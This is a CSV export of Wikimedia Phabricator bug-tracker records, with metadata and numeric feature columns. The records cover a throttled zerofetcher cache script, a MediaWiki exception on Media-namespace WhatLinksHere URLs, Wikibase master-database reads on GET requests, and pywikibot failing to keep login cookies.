521432,zerofetcher in production is getting throttled for API logins,"No, the zerofetcher is just a custom script that runs on the caches and fetches zero-rating metadata from the zero portal periodically, to feed it to varnish for X-CS/X-F-B processing of real requests. ",,,1441407947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,2.0,13.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6739130434782608,0.8043478260869565,"No, the zerofetcher is just a custom script that runs on the caches and fetches zero-rating metadata from the zero portal periodically, to feed it to varnish for X-CS/X-F-B processing of real requests. "
521312,zerofetcher in production is getting throttled for API logins,Is this proxying requests for external clients? If so they should probably be added to the list of legitimate proxies sending X-Forwarded-For headers.,,,1441396305,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,17.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.413793103448276,0.9655172413793104,Is this proxying requests for external clients? If so they should probably be added to the list of legitimate proxies sending X-Forwarded-For headers.
521302,zerofetcher in production is getting throttled for API logins,"Change 236080 merged by BBlack:
Disable zerofetcher on text caches T111045

[[https://gerrit.wikimedia.org/r/236080]]",,,1441395618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2631578947368425,0.8947368421052632,"Change 236080 merged by BBlack:
Disable zerofetcher on text caches T111045

[[GERRIT_URL]]"
521301,zerofetcher in production is getting throttled for API logins,"Change 236080 had a related patch set uploaded (by BBlack):
Disable zerofetcher on text caches T111045

[[https://gerrit.wikimedia.org/r/236080]]
",,,1441395527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 236080 had a related patch set uploaded (by BBlack):
Disable zerofetcher on text caches T111045

[[GERRIT_URL]]
"
110878,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","URLs of the form Special:WhatLinksHere/Media:Shellfish.jpg fail with the following error:

```
Original exception: [2e097b64] /wiki/index.php/Special:WhatLinksHere/Media:Shellfish.jpg MWException from line 56 of C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MWNamespace.php: MWNamespace::getTalk does not make any sense for given namespace -2
Backtrace:
#0 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MWNamespace.php(109): MWNamespace::isMethodValidFor(integer, string)
#1 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\Title.php(1332): MWNamespace::getTalk(integer)
#2 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\Skin.php(247): Title->getTalkPage()
#3 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\Skin.php(172): Skin->preloadExistence()
#4 C:\Users\Alan\Documents\Programming\MediaWiki\Vector\SkinVector.php(47): Skin->initPage(OutputPage)
#5 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\SkinTemplate.php(233): SkinVector->initPage(OutputPage)
#6 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\OutputPage.php(2318): SkinTemplate->outputPage()
#7 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MediaWiki.php(685): OutputPage->output()
#8 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MediaWiki.php(474): MediaWiki->main()
#9 C:\Users\Alan\Documents\Programming\MediaWiki\core\index.php(41): MediaWiki->run()
#10 {main}
```

Was fixed in rSVN103450 (November 2011) but has regressed.

What is interesting is that on WMF sites, this doesn't show the usual ""Wikimedia Foundation error"" page, but instead shows a quasi-plain text response of a kind that I have never seen before: https://www.mediawiki.org/wiki/Special:WhatLinksHere/Media:Wiki.png The HTML source of the returned page is exactly the following:

```
MediaWiki internal error.<br />
<br />
Exception caught inside exception handler.<br />
<br />
Set $wgShowExceptionDetails = true; at the bottom of LocalSettings.php to show detailed debugging information.<br />
```",Medium,50.0,1441017868,1442540812.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-TASK-k2cl36nqtint7t7psyjp,task_description,resolved,True,c3,3,True,True,True,8,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,26.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.3478260869565215,0.7391304347826086,"URLs of the form Special:WhatLinksHere/Media:Shellfish.jpg fail with the following error:

``CODE`CODE`CODE``"
530019,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","Change 238775 merged by jenkins-bot:
Extend Title check in Skin for titles without associated titles

[[https://gerrit.wikimedia.org/r/238775]]",,,1442540356,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k2cl36nqtint7t7psyjp,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.12,0.88,"Change 238775 merged by jenkins-bot:
Extend Title check in Skin for titles without associated titles

[[GERRIT_URL]]"
528532,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","Change 238775 had a related patch set uploaded (by Florianschmidtwelzow):
Extend Title check in Skin for titles without associated titles

[[https://gerrit.wikimedia.org/r/238775]]
",,,1442418844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k2cl36nqtint7t7psyjp,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.533333333333333,0.8666666666666667,"Change 238775 had a related patch set uploaded (by Florianschmidtwelzow):
Extend Title check in Skin for titles without associated titles

[[GERRIT_URL]]
"
110399,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"This affects page parses and some special pages. Requiring the master DB just for parsing is bad for HA and blocks active/active multi-DC use.

```
[GET] Expectation (masterConns <= 0) by MediaWiki::main not met:
[connect to 10.64.32.28 (wikidatawiki)]
TransactionProfiler.php line 307 calls wfBacktrace()
TransactionProfiler.php line 146 calls TransactionProfiler->reportExpectationViolated()
LoadBalancer.php line 545 calls TransactionProfiler->recordConnection()
DBAccessBase.php line 61 calls LoadBalancer->getConnection()
WikiPageEntityMetaDataLookup.php line 161 calls DBAccessBase->getConnection()
WikiPageEntityMetaDataLookup.php line 70 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->selectRevisionInformationMultiple()
PrefetchingWikiPageEntityMetaDataAccessor.php line 148 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->loadRevisionInformation()
WikiPageEntityRevisionLookup.php line 78 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->loadRevisionInformation()
SpecialWikibaseRepoPage.php line 163 calls Wikibase\Lib\Store\WikiPageEntityRevisionLookup->getEntityRevision()
SpecialModifyEntity.php line 127 calls Wikibase\Repo\Specials\SpecialWikibaseRepoPage->loadEntity()
SpecialSetSiteLink.php line 103 calls Wikibase\Repo\Specials\SpecialModifyEntity->prepareArguments()
SpecialModifyEntity.php line 76 calls Wikibase\Repo\Specials\SpecialSetSiteLink->prepareArguments()
SpecialPage.php line 384 calls Wikibase\Repo\Specials\SpecialModifyEntity->execute()
SpecialPageFactory.php line 553 calls SpecialPage->run()
MediaWiki.php line 249 calls SpecialPageFactory::executePath()
MediaWiki.php line 683 calls MediaWiki->performRequest()
MediaWiki.php line 474 calls MediaWiki->main()
index.php line 41 calls MediaWiki->run()
index.php line 3 calls include()
```

```
Expectation (masterConns <= 0) by MediaWiki::main not met:
[connect to 10.64.16.144 (wikidatawiki)]
TransactionProfiler.php line 311 calls wfBacktrace()
TransactionProfiler.php line 146 calls TransactionProfiler->reportExpectationViolated()
LoadBalancer.php line 576 calls TransactionProfiler->recordConnection()
DBAccessBase.php line 61 calls LoadBalancer->getConnection()
WikiPageEntityMetaDataLookup.php line 160 calls DBAccessBase->getConnection()
WikiPageEntityMetaDataLookup.php line 69 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->selectRevisionInformationMultiple()
PrefetchingWikiPageEntityMetaDataAccessor.php line 193 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->loadRevisionInformation()
PrefetchingWikiPageEntityMetaDataAccessor.php line 162 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->doFetch()
WikiPageEntityRevisionLookup.php line 81 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->loadRevisionInformation()
CachingEntityRevisionLookup.php line 149 calls Wikibase\Lib\Store\WikiPageEntityRevisionLookup->getEntityRevision()
CachingEntityRevisionLookup.php line 132 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->fetchEntityRevision()
CachingEntityRevisionLookup.php line 149 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->getEntityRevision()
CachingEntityRevisionLookup.php line 132 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->fetchEntityRevision()
RevisionBasedEntityLookup.php line 44 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->getEntityRevision()
RedirectResolvingEntityLookup.php line 51 calls Wikibase\Lib\Store\RevisionBasedEntityLookup->getEntity()
EntityRetrievingTermLookup.php line 131 calls Wikibase\DataModel\Services\Lookup\RedirectResolvingEntityLookup->getEntity()
EntityRetrievingTermLookup.php line 116 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->fetchFingerprint()
EntityRetrievingTermLookup.php line 64 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->getFingerprint()
UsageTrackingTermLookup.php line 64 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->getLabels()
LanguageFallbackLabelDescriptionLookup.php line 55 calls Wikibase\Client\Usage\UsageTrackingTermLookup->getLabels()
WikibaseLuaBindings.php line 138 calls Wikibase\Lib\Store\LanguageFallbackLabelDescriptionLookup->getLabel()
Scribunto_LuaWikibaseLibrary.php line 364 calls Wikibase\Client\DataAccess\Scribunto\WikibaseLuaBindings->getLabel()
Engine.php line 407 calls Wikibase\Client\DataAccess\Scribunto\Scribunto_LuaWikibaseLibrary->getLabel()
- line - calls Scribunto_LuaSandboxCallback->__call()
Engine.php line 319 calls LuaSandboxFunction->call()
LuaCommon.php line 243 calls Scribunto_LuaSandboxInterpreter->callFunction()
LuaCommon.php line 887 calls Scribunto_LuaEngine->executeModule()
Hooks.php line 121 calls Scribunto_LuaModule->invoke()
Parser.php line 3347 calls ScribuntoHooks::invokeHook()
Parser.php line 3082 calls Parser->callParserFunction()
Preprocessor_Hash.php line 1075 calls Parser->braceSubstitution()
Parser.php line 3224 calls PPFrame_Hash->expand()
Preprocessor_Hash.php line 1075 calls Parser->braceSubstitution()
Parser.php line 2896 calls PPFrame_Hash->expand()
Parser.php line 1259 calls Parser->replaceVariables()
Parser.php line 439 calls Parser->internalParse()
WikitextContent.php line 331 calls Parser->parse()
AbstractContent.php line 497 calls WikitextContent->fillParserOutput()
PoolWorkArticleView.php line 140 calls AbstractContent->getParserOutput()
PoolCounterWork.php line 123 calls PoolWorkArticleView->doWork()
Article.php line 666 calls PoolCounterWork->execute()
ViewAction.php line 44 calls Article->view()
MediaWiki.php line 504 calls ViewAction->show()
MediaWiki.php line 288 calls MediaWiki->performAction()
MediaWiki.php line 746 calls MediaWiki->performRequest()
MediaWiki.php line 520 calls MediaWiki->main()
index.php line 43 calls MediaWiki->run()
index.php line 3 calls include()
```
Entries in kibana are found via <<+channel:DBPerformance +message:*WikiPageEntityMetaDataLookup*>>",Medium,50.0,1440622979,1477868389.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_description,duplicate,True,c3,3,True,False,False,7,True,2.0,0.0,0.0,2.0,0.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,4.277777777777778,0.8148148148148148,"This affects page parses and some special pages. Requiring the master DB just for parsing is bad for HA and blocks active/active multi-DC use.

``CODE`CODE`CODE``
Entries in kibana are found via <<+channel:DBPerformance +message:*WikiPageEntityMetaDataLookup*>>"
682157,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"Editing needs to do conflict detection anyway, since fresh data sent to the client becomes stale while they wait anyway, which has to be solved with conflict detection.

The second case should use slaves too, just like templates/files use slaves, which works fine.",,,1466449659,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.288461538461538,0.7692307692307693,"Editing needs to do conflict detection anyway, since fresh data sent to the client becomes stale while they wait anyway, which has to be solved with conflict detection.

The second case should use slaves too, just like templates/files use slaves, which works fine."
682031,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"@aaron As Hoo sais, the Special page is for editing the entity. That should not be done based on stale data. Do you have an alternative suggestion? Usually, the data from the slave would be fine, but there is no way to know if it is stale or not, until we ask the master DB. How is this handled for action=edit? 

The second case (access from Lua) should only happen as a fallback, when the entity isn't found in the slave DB. This is probably rare... except when the entity actually doesn't exist, but we can't be sure until we hit the master DB.

But I guess for the second case, it would be OK to fail if the data isn't on the slave DB yet. What do you think, @Hoo?",,,1466442297,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,1.0,3.5,5.5,4.5,0.0,0.0,1.0,2.0,2.5,0.0,0.5,0.5,2.5,0.0,8.5,9.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,3.0,0.0,2.5,0.0,0.0,0.0,9.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.5,6.0,11.0,3.5,2.5,10.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,4.5,9.5,4.0,1.5,0.0,0.0,4.5,0.0,2.5,1.0,0.0,0.5,0.0,0.0,0.0,3.4647943037974684,0.7356803797468354,"SCREEN_NAME As Hoo sais, the Special page is for editing the entity. That should not be done based on stale data. Do you have an alternative suggestion? Usually, the data from the slave would be fine, but there is no way to know if it is stale or not, until we ask the master DB. How is this handled for action=edit? 

The second case (access from Lua) should only happen as a fallback, when the entity isn't found in the slave DB. This is probably rare... except when the entity actually doesn't exist, but we can't be sure until we hit the master DB.

But I guess for the second case, it would be OK to fail if the data isn't on the slave DB yet. What do you think,SCREEN_NAME?"
669024,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"We load data for editing there, so I'm not entirely sure we want to do that from slaves… :/",,,1464260866,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,47,True,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3181818181818183,1.0,"We load data for editing there, so I'm not entirely sure we want to do that from slaves… :/"
665494,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,This is now one of the two main remaining causes of warnings in this log.,,,1463691417,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,46,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6875,0.9375,This is now one of the two main remaining causes of warnings in this log.
515328,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,This is probably related to T108841 and T108929 is the specific task to fix WikiPageEntityMetaDataLookup.,,,1440624045,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,25.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.6875,0.875,This is probably related to T108841 and T108929 is the specific task to fix WikiPageEntityMetaDataLookup.
110354,Login credentials are not kept between runs,"I run ""pwb.py login -all"", and everything seems ok:

>>pwb.py login -all
Password for user MalafayaBot on wiktionary:el (no characters will be shown)
Logging in to wiktionary:el as MalafayaBot
Logged in on wiktionary:el as MalafayaBot.
Logged in on wiktionary:en as MalafayaBot.
Logged in on wiktionary:zh as MalafayaBot.
Logged in on wiktionary:ca as MalafayaBot.
Logged in on wiktionary:vo as MalafayaBot.
Logged in on wiktionary:io as MalafayaBot.
Logged in on wiktionary:ia as MalafayaBot.
Logged in on wiktionary:gl as MalafayaBot.
Logged in on wiktionary:es as MalafayaBot.
Logged in on wiktionary:az as MalafayaBot.
Logged in on wiktionary:nl as MalafayaBot.
Logged in on wiktionary:nn as MalafayaBot.
Logged in on wiktionary:no as MalafayaBot.
Logged in on wiktionary:tr as MalafayaBot.
Logged in on wiktionary:li as MalafayaBot.
Logged in on wiktionary:lt as MalafayaBot.
Logged in on wiktionary:vec as MalafayaBot.
Logged in on wiktionary:ro as MalafayaBot.
Logged in on wiktionary:is as MalafayaBot.
Logged in on wiktionary:fr as MalafayaBot.
Logged in on wiktionary:bg as MalafayaBot.
Logged in on wiktionary:uk as MalafayaBot.
Logged in on wiktionary:de as MalafayaBot.
Logged in on wiktionary:mg as MalafayaBot.
Logged in on wiktionary:da as MalafayaBot.
Logged in on wiktionary:br as MalafayaBot.
Logged in on wiktionary:bs as MalafayaBot.
Logged in on wiktionary:fi as MalafayaBot.
Logged in on wiktionary:hu as MalafayaBot.
Logged in on wiktionary:ka as MalafayaBot.
Logged in on wiktionary:pt as MalafayaBot.
Logged in on wiktionary:oc as MalafayaBot.
Logged in on wiktionary:sv as MalafayaBot.
Logged in on wiktionary:ku as MalafayaBot.
Logged in on wiktionary:nds as MalafayaBot.

First odd thing: file pywikibot.lwp has been changed but it's contents is simply one line:
 #LWP-Cookies-2.0

I then run interwiki for example:

>>pwb.py interwiki pt:Categoria:Arquitetura
Password for user MalafayaBot on wiktionary:pt (no characters will be shown):
Logging in to wiktionary:pt as MalafayaBot
Retrieving 1 pages from wiktionary:pt.
[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
[ast:Categoría:Arquitectura]]
[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
[az:Kateqoriya:Memarlıq]]
[......]

Again, it asked for credentials. For each new run, I have to enter credentials.

If you intend to reproduce this issue, it's probably best to delete your pywikibot.lwp file first.",Medium,50.0,1440607146,1440642687.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-2q5az2skof67wxc6rxji,task_description,resolved,True,c3,3,False,False,True,7,True,0.16666666666666666,0.16666666666666666,0.0,0.5,0.0,1.1666666666666667,0.16666666666666666,0.0,0.0,0.16666666666666666,12.333333333333334,0.0,0.0,0.0,0.0,0.5,0.16666666666666666,1.0,20.833333333333332,0.16666666666666666,0.5,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.16666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,17.166666666666668,0.16666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.16666666666666666,0.8333333333333334,0.16666666666666666,0.5,0.0,1.3333333333333333,20.833333333333332,15.333333333333334,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.5,0.0,0.16666666666666666,3.8333333333333335,3.7580440462859275,0.35319148936170214,"I run ""pwb.py login -all"", and everything seems ok:

QUOTE
Password for user MalafayaBot on wiktionary:el (no characters will be shown)
Logging in to wiktionary:el as MalafayaBot
Logged in on wiktionary:el as MalafayaBot.
Logged in on wiktionary:en as MalafayaBot.
Logged in on wiktionary:zh as MalafayaBot.
Logged in on wiktionary:ca as MalafayaBot.
Logged in on wiktionary:vo as MalafayaBot.
Logged in on wiktionary:io as MalafayaBot.
Logged in on wiktionary:ia as MalafayaBot.
Logged in on wiktionary:gl as MalafayaBot.
Logged in on wiktionary:es as MalafayaBot.
Logged in on wiktionary:az as MalafayaBot.
Logged in on wiktionary:nl as MalafayaBot.
Logged in on wiktionary:nn as MalafayaBot.
Logged in on wiktionary:no as MalafayaBot.
Logged in on wiktionary:tr as MalafayaBot.
Logged in on wiktionary:li as MalafayaBot.
Logged in on wiktionary:lt as MalafayaBot.
Logged in on wiktionary:vec as MalafayaBot.
Logged in on wiktionary:ro as MalafayaBot.
Logged in on wiktionary:is as MalafayaBot.
Logged in on wiktionary:fr as MalafayaBot.
Logged in on wiktionary:bg as MalafayaBot.
Logged in on wiktionary:uk as MalafayaBot.
Logged in on wiktionary:de as MalafayaBot.
Logged in on wiktionary:mg as MalafayaBot.
Logged in on wiktionary:da as MalafayaBot.
Logged in on wiktionary:br as MalafayaBot.
